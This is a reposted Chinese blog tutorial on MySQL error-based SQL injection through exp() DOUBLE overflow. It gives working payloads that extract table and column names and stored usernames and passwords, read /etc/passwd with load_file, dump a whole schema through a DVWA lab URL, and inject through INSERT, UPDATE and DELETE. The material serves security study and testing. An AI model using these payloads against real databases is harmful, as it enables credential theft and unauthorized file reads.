博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
(转载)使用exp进行SQL报错注入
阅读量:6443 次
发布时间:2019-06-23

本文共 4742 字,大约阅读时间需要 15 分钟。

此文为BIGINT Overflow Error Based SQL Injection的具体发现与实践

from:

0x01 前言概述


好消息好消息~作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:,drops上面也有对应翻译,具体见。当我们拿到MySQL里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

mysql> select exp(709);+-----------------------+| exp(709)              |+-----------------------+| 8.218407461554972e307 |+-----------------------+1 row in set (0.00 sec) mysql> select exp(710);ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

MySQL中,explnlog的功能相反,简单介绍下,就是logln都返回以e为底数的对数,见等式:

enter image description here

enter image description here

mysql> select log(15);+------------------+| log(15)          |+------------------+| 2.70805020110221 |+------------------+1 row in set (0.00 sec) mysql> select ln(15);+------------------+| ln(15)           |+------------------+| 2.70805020110221 |+------------------+1 row in set (0.00 sec)

指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:

enter image description here

mysql> select exp(2.70805020110221);+-----------------------+| exp(2.70805020110221) |+-----------------------+|                    15 |+-----------------------+1 row in set (0.00 sec)

0x02 注入


当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;+----------------------+| ~0                   |+----------------------+| 18446744073709551615 |+----------------------+1 row in set (0.00 sec) mysql> select ~(select version());+----------------------+| ~(select version())  |+----------------------+| 18446744073709551610 |+----------------------+1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

>`exp(~(select*from(select user())x))`    mysql> select exp(~(select*from(select user())x));    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 注出数据


得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就


这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

enter image description here

0x04 读取文件


你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

enter image description here

注意,你无法写文件,因为这个错入写入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'    # type C:\out.txt0

0x05 Injection in Insert


按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

对于所有的insert,updatedelete语句DIOS查询也同样可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000newdb::users::idnewdb::users::usernamenewdb::users::password' from dual)))'

0x06 Injection in Update


mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x07 Injection in Delete


mysql> delete from users where id='1' | exp(~(select*from(select user())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08 总结


和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

mysql> select version();+---------------------+| version()           |+---------------------+| 5.0.45-community-nt |+---------------------+1 row in set (0.00 sec) mysql> select exp(710);+----------+| exp(710) |+----------+|   1.#INF |+----------+1 row in set (0.00 sec) mysql> select exp(~0);+---------+| exp(~0) |+---------+|  1.#INF |+---------+1 row in set (0.00 sec)

可能还有其他的函数会产生这种报错呦。(有待你发现啦:)

转载于:https://www.cnblogs.com/lcamry/articles/5509124.html

你可能感兴趣的文章
问题-应用程序加载图标不可用
查看>>
Objective-C 中nil/Nil/NULL/NSNull
查看>>
细聊分布式ID生成方法
查看>>
脸上有酒窝,脖子后有痣,胸前有颗痣,此三种人不能错过
查看>>
用VC++开发Oracle数据库应用程序详解2
查看>>
bzoj1305
查看>>
SpringAOP面向切面编程
查看>>
[USACO12JAN]Video Game Combos
查看>>
Multiset的使用 TOJ 2196.Nuanran's Idol II 与 UVA11136 Hoax or what
查看>>
Linux安装相关
查看>>
WIN7 下 在cmd 命令中 进入某个目录 的方法
查看>>
查看被锁的表和解锁
查看>>
canvas自适应圆形时钟绘制
查看>>
币值转换编程总结
查看>>
javascript中关于value的一个小知识点(value既是属性也是变量)
查看>>
cookie创建,使用 . session与Cookie区别
查看>>
截取字符串 substring substr slice
查看>>
day1
查看>>
BFS 2015百度之星初赛2 HDOJ 5254 棋盘占领
查看>>
LeetCode 3
查看>>